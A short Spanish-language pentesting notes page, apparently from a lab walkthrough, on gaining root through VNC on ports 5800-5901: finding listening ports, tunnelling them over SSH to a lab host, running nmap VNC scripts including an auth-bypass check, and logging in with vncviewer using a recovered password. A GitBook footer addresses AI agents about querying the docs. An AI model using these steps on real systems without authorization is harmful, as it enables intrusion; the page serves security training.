> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/vnc-5800-5801-5900-5901.md).

# VNC - 5800,5801,5900,5901

### Explotación de VNC en 5800, 5801, 5900 y 5901

Identificar los puertos en escucha:

```bash
netstat -an | grep LISTEN
```

<figure><img src="/files/ac28421e258f70d66a307dd205181153e737a6ef" alt=""><figcaption></figcaption></figure>

#### **Túnel SSH para redirigir los puertos VNC**

```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```

<figure><img src="/files/b05366bff3647b468aadfddfd9b27faa8f2b854c" alt=""><figcaption></figcaption></figure>

Escanear los servicios VNC:

```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```

<figure><img src="/files/7f6991dedcf4aa68035ff1973b3297f4e26b7caf" alt=""><figcaption></figcaption></figure>

#### **Conexión mediante vncviewer**

Usa la contraseña encontrada en `secret.zip`:

```bash
vncviewer -passwd secret 127.0.0.1:5901
```

La sesión VNC proporciona **acceso root** en la máquina.

<figure><img src="/files/50e624810a034aacedce7260d5c8cf875bde5457" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/ports-and-services/vnc-5800-5801-5900-5901.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
